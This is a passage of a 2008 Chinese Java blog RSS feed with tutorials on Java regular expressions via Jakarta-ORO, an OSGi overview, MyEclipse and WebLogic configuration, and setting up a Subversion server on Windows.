            <td class="a14"><img src="http://www.ccw.com.cn/htm/app/aprog/01_7_31_4_u.jpg" border="0"  alt="" /></td>
        </tr>
    </tbody>
</table>
<table width="620" align="center">
    <tbody>
        <tr>
            <td class="a14">注意#字符的后面加上了$1。Perl正则表达式语法用$1、$2等表示已经匹配且提取出来的组。图十三的表达式把所有作为一个组匹配和提取出来的内容附加到链接的后面。</td>
        </tr>
    </tbody>
</table>
<table width="620" align="center">
    <tbody>
        <tr>
            <td class="a14">现在，返回Java。就象前面我们所做的那样，你必须创建测试字符串，创建把正则表达式编译到Pattern对象所必需的对象，以及创建一个PatternMatcher对象：<img src="http://www.ccw.com.cn/htm/app/aprog/01_7_31_4_v.jpg" border="0"  alt="" /></td>
        </tr>
    </tbody>
</table>
<table width="620" align="center">
    <tbody>
        <tr>
            <td class="a14">接下来，用com.oroinc.text.regex包Util类的substitute()静态方法进行替换，输出结果字符串：</td>
        </tr>
    </tbody>
</table>
<table width="620" align="center">
    <tbody>
        <tr>
            <td class="a14"><img src="http://www.ccw.com.cn/htm/app/aprog/01_7_31_4_w.jpg" border="0"  alt="" /></td>
        </tr>
    </tbody>
</table>
<table width="620" align="center">
    <tbody>
        <tr>
            <td class="a14">Util.substitute()方法的语法如下：</td>
        </tr>
    </tbody>
</table>
<table height="17" width="620" align="center">
    <tbody>
        <tr>
            <td class="a14" height="13"><img src="http://www.ccw.com.cn/htm/app/aprog/01_7_31_4_x.jpg" border="0"  alt="" /></td>
        </tr>
    </tbody>
</table>
<table width="620" align="center">
    <tbody>
        <tr>
            <td class="a14">这个调用的前两个参数是以前创建的PatternMatcher和Pattern对象。第三个参数是一个Substiution对象，它决定了替换操作如 何进行。本例使用的是Perl5Substitution对象，它能够进行Perl5风格的替换。第四个参数是想要进行替换操作的字符串，最后一个参数允 许指定是否替换模式的所有匹配子串（Util.SUBSTITUTE_ALL），或只替换指定的次数。</td>
        </tr>
    </tbody>
</table>
<strong>【结束语】</strong>在 这篇文章中，我为你介绍了正则表达式的强大功能。只要正确运用，正则表达式能够在字符串提取和文本修改中起到很大的作用。另外，我还介绍了如何在Java 程序中通过Jakarta-ORO库利用正则表达式。至于最终采用老式的字符串处理方式（使用StringTokenizer，charAt，和 substring），还是采用正则表达式，这就有待你自己决定了。
<img src ="http://www.blogjava.net/junky/aggbug/184018.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/junky/" target="_blank">junky</a> 2008-03-05 15:52 <a href="http://www.blogjava.net/junky/archive/2008/03/05/184018.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>OSGi技术</title><link>http://www.blogjava.net/junky/archive/2008/01/21/176681.html</link><dc:creator>junky</dc:creator><author>junky</author><pubDate>Mon, 21 Jan 2008 02:11:00 GMT</pubDate><guid>http://www.blogjava.net/junky/archive/2008/01/21/176681.html</guid><wfw:comment>http://www.blogjava.net/junky/comments/176681.html</wfw:comment><comments>http://www.blogjava.net/junky/archive/2008/01/21/176681.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/junky/comments/commentRss/176681.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/junky/services/trackbacks/176681.html</trackback:ping><description><![CDATA[OSGi技术<br />
<br />
原文:<br />
<a href="http://www.osgi.org/osgi_technology/index.asp?section=2">http://www.osgi.org/osgi_technology/index.asp?section=2</a><br />
<br />
简介<br />
<br />
OSGi规范为网络化的服务定义了一个标准的,面向组件的计算环境.给网络设备添加OSGi服务平台,使之可以有能力在网络的任何地点管理软件组件的生命周期.组件可以在运行期间被安装,更新或删除,无需打断设备的其他操作.软件组件是可以动态查找和使用其他组件的库或程序.软件组件可以通过购买或自行开发.OSGi联盟已经开发了许多标准的组件接口,诸如HTTP服务器,配置,日志管理,安全,用户管理,xml等等这些常用功能.可以从不同的提供商那里获得这些即插即用的兼容实现.<br />
<br />
软件组件体系正面临一个日益凸现的问题:大量需要开发和维护的配置.而标准化的OSGi组件体系极大的简化了这个配置过程.<br />
<br />
框架<br />
OSGi规范的核心组件是OSGi框架.他为应用提供了一个被称为包捆(bundle)标准环境.OSGi包括这样四层:<br />
L0.执行环境<br />
L1.模块<br />
L2.生命周期管理<br />
L3.服务注册表<br />
此外还包含一个安全系统.<br />
<br />
执行环境就是Java环境.J2SE,CDC,CLDC,MIDP等都是合法的执行环境.OSGi同时根据核心定义(foundation&nbsp;profile)和一个最简版本制定了一个标准的执行环境.<br />
模块层定义了类装载策略.OSGi框架是一个强大的类装载模型.以Java为基础但加入了模块化的思想.在Java中,只有一个包含了所有的可用类和资源类路径.OSGi的模块层还为一个模块提供了私有类以及模块之间的连接.<br />
生命周期层将包捆动态地安装,启动,停止,更新和卸载,包捆依赖于模块层的类装载但提供了一套API来在运行期管理所有的模块.扩展的依赖机制用于确保正确模块依赖关系.<br />
服务注册表为包捆提供一个互操作模型实现动态性.包捆可以通过传统的类共享来互操作,但是类共享在当动态安装和卸载代码时会表现得很不稳定.服务注册表提供了一个易于理解的模型来在包捆之间共享对象.大量的事件被定义于处理服务之间的交互.服务如同Java对象一样,可以代表任何事物.许多服务和对象是一样的,像http服务器,服务就是现实中的一个对象,比如一个附近的蓝牙电话.<br />
<br />
安全是建立在Java和Java2安全模型之上.语言级的限制避免了许多可能出现的隐患(The&nbsp;language&nbsp;by&nbsp;design&nbsp;limits&nbsp;many&nbsp;possible&nbsp;constructs).&nbsp;比如,病毒常用的缓冲区溢出是不可能的.访问修饰符可以限制代码的可见性.OSGi通过"允许私有类"扩展了这一模型,在标准Java中不包含这种机制.Java2安全模型提供一个易理解的模型来检查代码对资源的访问权限.OSGi加入了完全的对访问请求动态管理.<br />
<br />
标准服务<br />
<br />
在框架之上,OSGi联盟制定了许多服务.服务由一个Java接口定义.包捆可以实现这个接口并把实现注册到服务注册表.服务的用户可以从服务注册表中找到他,或者对服务的加入或取消做出反应.<br />
以下各部分给出OSGi&nbsp;release&nbsp;3服务的一个简单介绍.更多资料可以找OSGi服务平台release&nbsp;3的书籍或PDF下载.要注意每个服务都是先被抽象地定义然后由不同厂商独立实现.<br />
<br />
框架服务<br />
<br />
OSGi框架提供一个权限管理服务(permission&nbsp;admin&nbsp;service&nbsp;),一个包管理服务(package&nbsp;admin&nbsp;servie),和一个启动级别服务(start&nbsp;level&nbsp;service).这些服务是可选的&nbsp;and&nbsp;direct&nbsp;the&nbsp;orperation&nbsp;of&nbsp;the&nbsp;Framework(不知道怎么译).<br />
&#8226;&nbsp;访问管理(Permission&nbsp;Admin)&nbsp;-&nbsp;当前或将来的包捆的访问权限可以通过这个服务来操作.<br />
&#8226;&nbsp;包管理(Package&nbsp;Admin)&nbsp;-&nbsp;包捆之间共享类和资源.包捆的更新可能需要系统重新更新包捆之间的依赖关系.该服务提供系统实际包的共享状态并刷新共享的包.如,取消或者重新计算依赖关系.<br />
&#8226;&nbsp;启动级别(Start&nbsp;Level)&nbsp;-&nbsp;启动级别是一个包捆的集合,这个集合中的包捆必须一同运行或者要在其他服务启动之前初始化.启动级别服务设置当前的启动级别,制定某个包捆的启动级别,查看当前设置.<br />
<br />
系统服务<br />
<br />
系统服务提供横向功能(horizontal&nbsp;function),这些在每个真实的系统中都是存在的.比较常见的有,日志服务(Log&nbsp;Service),配置管理服务(Configuration&nbsp;Admin&nbsp;Service),设备访问服务(Device&nbsp;Access&nbsp;Service),用户管理服务(User&nbsp;Admin&nbsp;SErvice),IO连接服务(IO&nbsp;Connector&nbsp;Service)和参数选择服务(Preferences&nbsp;Service).<br />
&#8226;&nbsp;日志服务&nbsp;-&nbsp;信息,警告,调试信息的纪录,或者处理错误.他接收日志纪录信息然后分配他们给其他订阅了这些信息的包捆<br />
&#8226;&nbsp;配置管理服务&nbsp;-&nbsp;该服务提供一个易伸缩的动态模型来设置和获得配置信息<br />
&#8226;&nbsp;设备访问服务&nbsp;-&nbsp;设备访问是配置一个驱动器到一个新设备并自动下载实现该驱动器的包捆的机制<br />
&#8226;&nbsp;用户管理服务&nbsp;-&nbsp;该服务使用一个用户信息数据库(私有和公有)来鉴权和授权.<br />
&#8226;&nbsp;IO连接服务&nbsp;-&nbsp;实现了CDC/CLDC的javax.microedition.io包作为一个服务.该服务允许包捆提供新的,可选协议方案.<br />
&#8226;&nbsp;参数选择服务&nbsp;-&nbsp;提供属性数据库的访问.和Windows的注册表或Java的Preferences类.<br />
<br />
<br />
协议服务<br />
OSGi联盟定义了以下外部协议服务:<br />
&#8226;&nbsp;Http服务&nbsp;-&nbsp;一个servlet容器.包捆可以提供servlet.OSGi的动态更新机制服务平台使得Http服务变得非常诱人,加入新的servlet而不需要重启.<br />
<br />
&#8226;&nbsp;UPnp服务&nbsp;-&nbsp;通用即插即用(Universal&nbsp;Plug&nbsp;and&nbsp;Play)是一个正在兴起的用于用户电子设备的标准,OSGi&nbsp;UPnP&nbsp;将一个UPnP网络设备映射到服务注册表.或者,将一个服务映射到UPnP网络(该服务在release&nbsp;3中被推荐).<br />
&#8226;&nbsp;Jini服务&nbsp;-&nbsp;Jini是一个网络协议,用于在网络上发现Jini服务并下载执行.(该服务在release&nbsp;3中被推荐).<br />
<br />
其他服务<br />
&#8226;&nbsp;关联管理服务(Wire&nbsp;Admin&nbsp;Service)&nbsp;-&nbsp;通常包捆会自己建立查找服务的规则.但是在很多情况下,这是一个发布时需要考虑的问题.因此关联管理服务会通过一个配置文件把不同的服务连接起来.使用消费者和生产者的概念来达到对象之间的互操作.<br />
&#8226;&nbsp;XML解析服务&nbsp;-&nbsp;允许一个包捆定位一个解析器并使用相应的属性.与JAXP兼容.<br />
<br />
结论<br />
OSGi规范的适用范围很广.因为它通过一个很简单的层使得同一个虚拟机的Java组件高效率的交互.通过一个扩展的安全模型来使组件运行在一个安全的环境中.通过恰当的访问限制,组件可以被重用和组合.OSGi&nbsp;框架还提供了一个扩展的部署机制来让这种交互可行,安全.<br />
<br />
各个领域构建在OSGi之上的中间件的大量出现,这就给OSGi软件组件创造了一个很大的软件市场.The&nbsp;rigid&nbsp;definition&nbsp;of&nbsp;the&nbsp;OSGi&nbsp;Service&nbsp;Platform&nbsp;enables&nbsp;components&nbsp;that&nbsp;can&nbsp;run&nbsp;on&nbsp;a&nbsp;variety&nbsp;of&nbsp;devices,&nbsp;from&nbsp;very&nbsp;small&nbsp;to&nbsp;very&nbsp;big.&nbsp;<br />
<br />
采用OSGi规范可以降低软件开发成本,同时提供新的商业机会.<br />
<br />
进一步阅读<br />
OSGi&nbsp;Service&nbsp;Platform,&nbsp;Release&nbsp;3下载:<br />
<a href="http://www.osgi.org/osgi_technology/download_specs2.asp?section=2">http://www.osgi.org/osgi_technology/download_specs2.asp?section=2</a><br />
或买书:<br />
<a href="https://secure.inventures.com/osgi/sales/R3Book_order_form.asp">https://secure.inventures.com/osgi/sales/R3Book_order_form.asp</a><br />
<br />
OSGi联盟写的技术白皮书:<br />
<a href="http://www.osgi.org/documents/osgi_technology/osgi-sp-overview.pdf">http://www.osgi.org/documents/osgi_technology/osgi-sp-overview.pdf</a><br />
更深入介绍OSGi的白板白皮书(whiteboard&nbsp;whitepaper):<br />
<a href="http://www.osgi.org/documents/osgi_technology/whiteboard.pdf">http://www.osgi.org/documents/osgi_technology/whiteboard.pdf</a><br />
<br />
译者:derekzhangv.at.hotmail.com<br />
欢迎指正，讨论 <br />
<img src ="http://www.blogjava.net/junky/aggbug/176681.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/junky/" target="_blank">junky</a> 2008-01-21 10:11 <a href="http://www.blogjava.net/junky/archive/2008/01/21/176681.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>myeclipse+weblogic的配置(转)</title><link>http://www.blogjava.net/junky/archive/2008/01/17/175940.html</link><dc:creator>junky</dc:creator><author>junky</author><pubDate>Thu, 17 Jan 2008 06:43:00 GMT</pubDate><guid>http://www.blogjava.net/junky/archive/2008/01/17/175940.html</guid><wfw:comment>http://www.blogjava.net/junky/comments/175940.html</wfw:comment><comments>http://www.blogjava.net/junky/archive/2008/01/17/175940.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/junky/comments/commentRss/175940.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/junky/services/trackbacks/175940.html</trackback:ping><description><![CDATA[<p><span><span style="font-weight: bold; color: rgb(51,102,255)">配置 WebLogic 9.2</span><br />
</span></p>
<p><span>安装 WebLogic 比较容易，在这里就不再累述了，大家可以参阅相关文档。现在着重讲一下 WebLogic 的配置，因为后面在配置 MyEclipse 时将用到这里的配置信息。</span><br />
<br />
<span>①运行开始 -&gt; 程序 -&gt; BEA Products -&gt; Tools -&gt; Configuration Wizard。</span><br />
<span>②选择 Create a new WebLogic domain，Next。</span><br />
<span>③在 Select Domain Source 界面保持默认，Next。</span><br />
<span>④在 User name 处输入 user，两个 password 都输入 12345678（密码要求 8 位），Next。</span><br />
<span>⑤ 在 Configure Server Start Mode and JDK 界面中保持默认，即 JDK 选择的是&#8220;Sun SDK 1.5.0_04 @ C:\BEA\jdk150_04&#8221;，注意这里若选择&#8220;Other JDK&#8221;配置比 SDK 1.5.0_04 更高的版本，服务器启动时将会出现异常，所以最好保持默认，然后 Next。</span><br />
<span>⑥在 Customize Environment and Services Settings 界面中默认为 No，Next。</span><br />
<span>⑦在 Domain name 处输入 mydomain，点击 Create。</span><br />
<span>⑧完成后点击 Done 关闭 Configuration Wizard 对话框。</span><br />
<span>⑨ 运行开始 -&gt; 程序 -&gt; BEA Products -&gt; User Projects -&gt; mydomain -&gt; Start Admin Server for Weblogic Server Domain，检查服务器是否启动成功。</span><br />
<br />
<span style="font-weight: bold; color: rgb(51,102,255)">配置 MyEclipse 的 WebLogic 9 服务器</span></p>
<p><span style="font-weight: bold; color: rgb(51,102,255)"><font color="#000000"><span>启动 Eclipse，选择&#8220;Window -&gt; Preferences&#8221;菜单，打开首选项对话框。展开 MyEclipse 下的 Application Servers 节点，点击 WebLogic 9，选中右边的 Enable 单选按钮，启用 WebLogic 服务器。配置如下：</span><br />
<span>①BEA home directory：C:\BEA（假定 WebLogic 安装在 C:\BEA 目录中）</span><br />
<span>②WebLogic installation directory：C:\BEA\WebLogic92</span><br />
<span>③Admin username：user（来自 WebLogic 中的配置）</span><br />
<span>④Admin password：12345678（来自 WebLogic 中的配置）</span><br />
<span>⑤Execution domain root：C:\BEA\user_projects\domains\mydomain</span><br />
<span>⑥Execution server name：AdminServer</span><br />
<span>⑦Security policy file：C:\BEA\WebLogic92\server\lib\weblogic.policy</span><br />
<span>⑧JAAS login configuration file：（Null）</span><br />
<br />
<span>接着展开 WebLogic 9 节点，点击 JDK，在右边的 WLS JDK name 处选择 WebLogic 9 的默认 JDK。这里组合框中缺省为单独安装的 JRE。单击 Add 按钮，弹出 WebLogic -&gt; Add JVM 对话框，在 JRE 主目录处选择 WebLogic 安装文件夹中的 JDK 文件夹，我的版本为 C:\BEA\jdk150_04，程序会自动填充其他选项。单击确定按钮关闭对话框。这时候就可以在 WLS JDK name 组合框中选择 jdk150_04 了。</span><br />
<br />
<span>至此，MyEclipse 中 WebLogic 9 的配置工作就算完成了。下面可以看看在 Eclipse 中能否启动 WebLogic 服务器了？安装了 MyEclipse 之后，Eclipse 工具栏中就会有一个&#8220;Run/Stop/Restart MyEclipse Application Servers&#8221;下拉按钮。点击该按钮的下拉部分，选择&#8220;WebLogic 9 -&gt; Start&#8221;菜单，即开始启动 WebLogic 了。通过查看控制台的消息，就可以检查启动是否成功，或发生什么异常。</span></font></span></p>
<p><span style="font-weight: bold; color: rgb(51,102,255)"><font color="#000000"><span><span style="font-weight: bold; color: rgb(51,102,255)">对常见启动问题</span><br />
<br />
<span>出现 <span style="color: rgb(255,0,0)">The WebLogic Server did not start up properly.</span> 提示和 <span style="color: rgb(255,0,0)">java.io.InvalidClassException</span> 异常的问题，通常是因为 JDK 选择不当引起的，在 MyEclipse 的配置中选择的 JDK 应该必须与配置 WebLogic 时选择的 JDK 相同。当选择默认 JDK 时，也可以在 MyEclipse 中配置 BEA 的 jrockit90_150_04 这个 JDK。</span></span></font></span></p>
<img src ="http://www.blogjava.net/junky/aggbug/175940.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/junky/" target="_blank">junky</a> 2008-01-17 14:43 <a href="http://www.blogjava.net/junky/archive/2008/01/17/175940.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>Windows下架设Subversion服务器(转)</title><link>http://www.blogjava.net/junky/archive/2008/01/14/175081.html</link><dc:creator>junky</dc:creator><author>junky</author><pubDate>Mon, 14 Jan 2008 01:38:00 GMT</pubDate><guid>http://www.blogjava.net/junky/archive/2008/01/14/175081.html</guid><wfw:comment>http://www.blogjava.net/junky/comments/175081.html</wfw:comment><comments>http://www.blogjava.net/junky/archive/2008/01/14/175081.html#Feedback</comments><slash:comments>1</slash:comments><wfw:commentRss>http://www.blogjava.net/junky/comments/commentRss/175081.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/junky/services/trackbacks/175081.html</trackback:ping><description><![CDATA[<p>作者：indian</p>
<p>版本：v1.1</p>
<p>修订：2007年12月25日2:24:53</p>
<p>出处：<a href="http://indian.blog.163.com/blog/static/10881582007112415021751">blog.kysf.net</a></p>
<p style="margin-left: 31.5pt; text-indent: -31.5pt">版权：作者保留对本文的一切修改、发布等权力。任何人想要转载本文部分或全部内容时，必须保留包括作者、版本、修订、出处、版权，共五项信息。对本文的参考引用，则不受限制。</p>
<p>&nbsp;</p>
<p>关键词：subversion, 安装配置, 权限, 目录访问</p>
<p>&nbsp;</p>
<p>1 前言<br />
2 基本概念<br />
2.1 什么是版本控制<br />
2.2 什么是 Subversion<br />
2.3 版本库（repository）<br />
3 安装配置<br />
3.1 安装独立服务器 SVNServer<br />
3.2 安装 ApacheSVN 服务器<br />
4 FAQ<br />
5 参考资料</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<h1 style="text-align: center">1、前 言</h1>
<p>&nbsp;</p>
<p style="text-indent: 2em">花了72小时，终于把 Subversion 初步掌握了。从一个连&#8220;什么是版本控制&#8221;都不知道的门外汉，到配置出精确至每目录访问的入门者，中间还卡了一天时间。其中费了许多气力，摸索实验了多次， 还差点放弃了，但是收获是巨大的。现把我的配置和学习过程写下来，供大家参考，也让初学者少走弯路。</p>
<p style="text-indent: 2em">由于本人不会 Unix/Linux （正在学习中），故仅以 Windows 平台为例讲解，Unix/Linux 平台请参考相关资料。如其中有谬误的地方，包括错别字，请联系我修订。</p>
<p style="color: red; text-indent: 2em"><strong>技术在分享中进步！</strong></p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<h1 style="text-align: center" align="center">2、基本概念</h1>
<p>&nbsp;</p>
<p>2.1、什么是版本控制</p>
<p style="text-indent: 2em">简单点来说，版本控制就是数据仓库，它可以记录你对文件的每次更改。这样，就算你在昏天黑地的改了几个月后老板说不要了，还是按照过去那样，你也不会抓狂，简单的恢复版本操作就搞定一切。</p>
<p>&nbsp;</p>
<p>2.2、什么是 Subversion</p>
<p style="text-indent: 2em">Subversion是一个自由/开源版本控制系统，它管理文件和目录可以超越时间。一组文 件存放在中心版本库，这个版本库很像一个普通的文件服务器，只是它可以记录每一次文件和目录的修改，这便使你可以取得数据以前的版本，从而可以检查所作的 更改。从这个方面看，许多人把版本控制系统当作一种&#8220;时间机器&#8221;。</p>
<p style="text-indent: 2em">Subversion可以通过网络访问它的版本库，从而使用户可以在不同的电脑上使用。一定 程度上可以说，允许用户在各自的地方修改同一份数据是促进协作。进展可能非常的迅速，并没有一个所有的改变都会取得效果的通道，由于所有的工作都有历史版 本，你不必担心由于失去某个通道而影响质量，如果存在不正确的改变，只要取消改变。</p>
<p style="text-indent: 2em">一些版本控制系统也是软件配置管理（SCM）系统，这种系统经过特定的精巧设计来管理源代 码，有许多关于软件开发的特性—本身理解编程语言、或者提供构建程序的工具。然而，Subversion不是这样一个系统，它是一个通用系统，可以管理任 何类型的文件集，对你这可能是源代码，对别人，可能是一个货物报价单或者是书稿等。</p>
<p>&nbsp;</p>
<p>2.3、版本库（repository）</p>
<p style="text-indent: 2em">Subversion 的核心就是 rpository ，中文翻译成&#8220;版本库&#8221;。就是位于服务器端，统一管理和储存数据的地方。</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<h1 style="text-align: center">3、安装配置</h1>
<p>&nbsp;</p>
<h3>3.1 安装独立服务器 SVNServer</h3>
<p>环境</p>
<p>OS：Windows XP SP2</p>
<p>Web：Apache 2.2.6</p>
<p>SVN：svn-win32-1.4.6</p>
<p>&nbsp;</p>
<p>一、准备工作</p>
<p>1、获取 Subversion 服务器程序</p>
<p style="text-indent: 2em">到官方网站（http://subversion.tigris.org/）下载最新的服务器安装程序。目前最新的是1.4.6版本，具体下载地址在：<a href="http://subversion.tigris.org/servlets/ProjectDocumentList?folderID=8100&amp;expandFolder=8100&amp;folderID=91">http://subversion.tigris.org/servlets/ProjectDocumentList?folderID=8100&amp;expandFolder=8100&amp;folderID=91</a> ，注意找 for apache 2.2.x 版本的。</p>
<p>2、获取 TortoiseSVN 客户端程序</p>
<p style="text-indent: 2em">从官方网站 <a href="http://tortoisesvn.net/downloads">http://tortoisesvn.net/downloads</a> 获取最新的 TortoiseSVN <span style="font-size: 9pt; color: black">。TortoiseSVN 是一个客户端程序，用来与 subvers 服务器端通讯。Subversion 自带一个客户端程序 svn.exe ,但 TortoiseSVN 更好操作，提高效率。</span></p>
<p>&nbsp;</p>
<p>二、安装服务器端和客户端</p>
<p style="text-indent: 2em">首先安装 Apache 2.2.6 ，具体安装方法大家参考相关资料，或者参看我写的《<a href="http://indian.blog.163.com/blog/static/1088158200755105546704">Windows下安装Apache 2.2.x</a>》。</p>
<p style="text-indent: 2em">其次安装 Subversion（以下简称SVN）的服务器端和客户端。下载下来的服务器端是个 zip压缩包，直接解压缩即可，比如我解压到 E:\subversion 。客户端安装文件是个 exe 可执行文件，直接运行按提示安装即可，客户端安装完成后提示重启。</p>
<p>&nbsp;</p>
<p>三、建立版本库（Repository）</p>
<p style="text-indent: 2em">运行Subversion服务器需要首先要建立一个版本库（Repository）。版本库可以看作是服务器上集中存放和管理数据的地方。</p>
<p style="text-indent: 2em">开始建立版本库。首先建立 e:\svn 空文件夹作为所有版本库的根目录。然后，进入命令行并切换到subversion的bin目录。输入如下命令：</p>
<div style="border-right: 1pt solid; padding-right: 4pt; border-top: 1pt solid; padding-left: 4pt; background: silver 0% 50%; padding-bottom: 4pt; margin: 30pt 21pt; border-left: 1pt solid; padding-top: 4pt; border-bottom: 1pt solid; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial">svnadmin create E:\svn\repos1</div>
<p style="text-indent: 2em">此命令在 E:\svn 下建立一个版本库 repos1 。repos1 下面会自动生成一些文件夹和文件。</p>
<p style="text-indent: 2em">我们也可以使用 TortoiseSVN 图形化的完成这一步：</p>
<p style="text-indent: 2em">先建立空目录 E:\svn\repos1 ，注意一定是要空的。然后在 repos1 文件夹上&#8220;右键-&gt;TortoiseSVN-&gt;Create Repository here...&#8221;，然后可以选择版本库模式，这里使用默认的FSFS即可，然后就创建了一系列文件夹和文件，同命令行建立的一样。</p>
<p>&nbsp;</p>
<p>四、运行独立服务器</p>
<p style="text-indent: 2em">此时 subversion 服务还没有开始，只是通过它的命令建立了版本库。继续在刚才的命令窗口输入：</p>
<div style="border-right: 1pt solid; padding-right: 4pt; border-top: 1pt solid; padding-left: 4pt; background: silver 0% 50%; padding-bottom: 4pt; margin: 30pt 21pt; border-left: 1pt solid; padding-top: 4pt; border-bottom: 1pt solid; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial">svnserve.exe &#8211;daemon</div>
<p style="text-indent: 2em">svnserve 将会在端口 3690 等待请求，--daemon（两个短横线）选项告诉 svnserve 以守护进程方式运行，这样在手动终止之前不会退出。注意不要关闭命令行窗口，关闭窗口会把 svnserve 停止。</p>
<p style="text-indent: 2em">为了验证svnserve正常工作，使用TortoiseSVN -&gt; Repo-browser 来查看版本库。在弹出的 URL 对话框中输入：</p>
<div style="border-right: 1pt solid; padding-right: 4pt; border-top: 1pt solid; padding-left: 4pt; background: silver 0% 50%; padding-bottom: 4pt; margin: 30pt 21pt; border-left: 1pt solid; padding-top: 4pt; border-bottom: 1pt solid; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial">svn://localhost/svn/repo1</div>
<p style="text-indent: 2em">点 OK 按钮后就可以看见 repo1 版本库的目录树结构了，只不过这时 repo1 是个空库。</p>
<p style="text-indent: 2em">你也可以使用--root选项设置根位置来限制服务器的访问目录，从而增加安全性和节约输入svnserve URL的时间：</p>
<div style="border-right: 1pt solid; padding-right: 4pt; border-top: 1pt solid; padding-left: 4pt; background: silver 0% 50%; padding-bottom: 4pt; margin: 30pt 21pt; border-left: 1pt solid; padding-top: 4pt; border-bottom: 1pt solid; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial">svnserve.exe --daemon --root drive:\path\to\repository</div>
<p style="text-indent: 2em">以前面的测试作为例，svnserve 将会运行为：</p>
<div style="border-right: 1pt solid; padding-right: 4pt; border-top: 1pt solid; padding-left: 4pt; background: silver 0% 50%; padding-bottom: 4pt; margin: 30pt 21pt; border-left: 1pt solid; padding-top: 4pt; border-bottom: 1pt solid; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial">svnserve.exe --daemon --root e:\svn</div>
<p style="text-indent: 2em">然后TortoiseSVN中的版本库浏览器URL缩减为：</p>
<div style="border-right: 1pt solid; padding-right: 4pt; border-top: 1pt solid; padding-left: 4pt; background: silver 0% 50%; padding-bottom: 4pt; margin: 30pt 21pt; border-left: 1pt solid; padding-top: 4pt; border-bottom: 1pt solid; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial">svn://localhost/repo1</div>
<p>&nbsp;</p>
<p>五、配置用户和权限</p>
<p style="text-indent: 2em">用文本编辑器打开E:\svn\repos1\conf目录，修改svnserve.conf：</p>
<p>将：</p>
<div style="border-right: 1pt solid; padding-right: 4pt; border-top: 1pt solid; padding-left: 4pt; background: silver 0% 50%; padding-bottom: 4pt; margin: 30pt 21pt; border-left: 1pt solid; padding-top: 4pt; border-bottom: 1pt solid; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial"># password-db = passwd</div>
<p>改为：</p>
<div style="border-right: 1pt solid; padding-right: 4pt; border-top: 1pt solid; padding-left: 4pt; background: silver 0% 50%; padding-bottom: 4pt; margin: 30pt 21pt; border-left: 1pt solid; padding-top: 4pt; border-bottom: 1pt solid; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial">password-db = passwd</div>
<p style="text-indent: 2em">即去掉前面的 # 注释符，注意前面不能有空格。</p>
<p style="text-indent: 2em">然后修改同目录的passwd文件，增加一个帐号：</p>
<p>将：</p>
<div style="border-right: 1pt solid; padding-right: 4pt; border-top: 1pt solid; padding-left: 4pt; background: silver 0% 50%; padding-bottom: 4pt; margin: 30pt 21pt; border-left: 1pt solid; padding-top: 4pt; border-bottom: 1pt solid; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial">[users]<br />
# harry = harryssecret<br />
# sally = sallyssecret</div>
<p>增加帐号：</p>
<div style="border-right: 1pt solid; padding-right: 4pt; border-top: 1pt solid; padding-left: 4pt; background: silver 0% 50%; padding-bottom: 4pt; margin: 30pt 21pt; border-left: 1pt solid; padding-top: 4pt; border-bottom: 1pt solid; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial">[users]<br />
#harry = harryssecret<br />
#sally = sallyssecret<br />
test = test</div>
<p>&nbsp;</p>
<p>六、初始化导入</p>
<p style="text-indent: 2em">下面就是将我们的数据（项目）导入到这个版本库，以后就由版本库管理我们的数据。我们的任何改动都回被版本库记录下来，甚至我们自己丢失、改错数据时版本库也能帮我们找回数据。</p>
<p style="text-indent: 2em">比如，我在 d:\wwwroot 下有个 guestbook 文件夹，里面存放的是我编写的留言簿程序。在此文件夹上&#8220;右键 -&gt; TortoiseSVN -&gt; Import...&#8221; ，在弹出对话框的&#8220;URL of repository&#8221;输入&#8220;svn://localhost/repos1/guestbook&#8221;。在&#8220;Import message&#8221;输入&#8220;导入整个留言簿&#8221;作为注释。<br />
点 OK 后要求输入帐号。我们在用户名和密码处都输入 test 。完成后 guestbook 中的内容全部导入到了 svn://localhost/svn/repo1/guestbook 。</p>
<p style="text-indent: 2em">我们看到在 e:\svn\repo1 没有任何变化，连个 guestbook 文件夹都没有建立，唯一的变化就是e:\svn\repo1容量变大了。实际上我们源guestbook中的内容已经导入 repo1 版本库了，源 guestbook 文件夹可以删除了。</p>
<p style="text-indent: 2em">需要注意的是，这一步操作可以完全在另一台安装了 TortoiseSVN 的客户机上进行。例如运行svnserve的主机的IP是133.96.121.22，则URL部分输入的内容就是&#8220;svn://133.96.121.22&#8221; 。</p>
<p>&nbsp;</p>
<p>七、基本操作流程</p>
<p>1、取出（check out）</p>
<p>取出版本库到一个工作拷贝：</p>
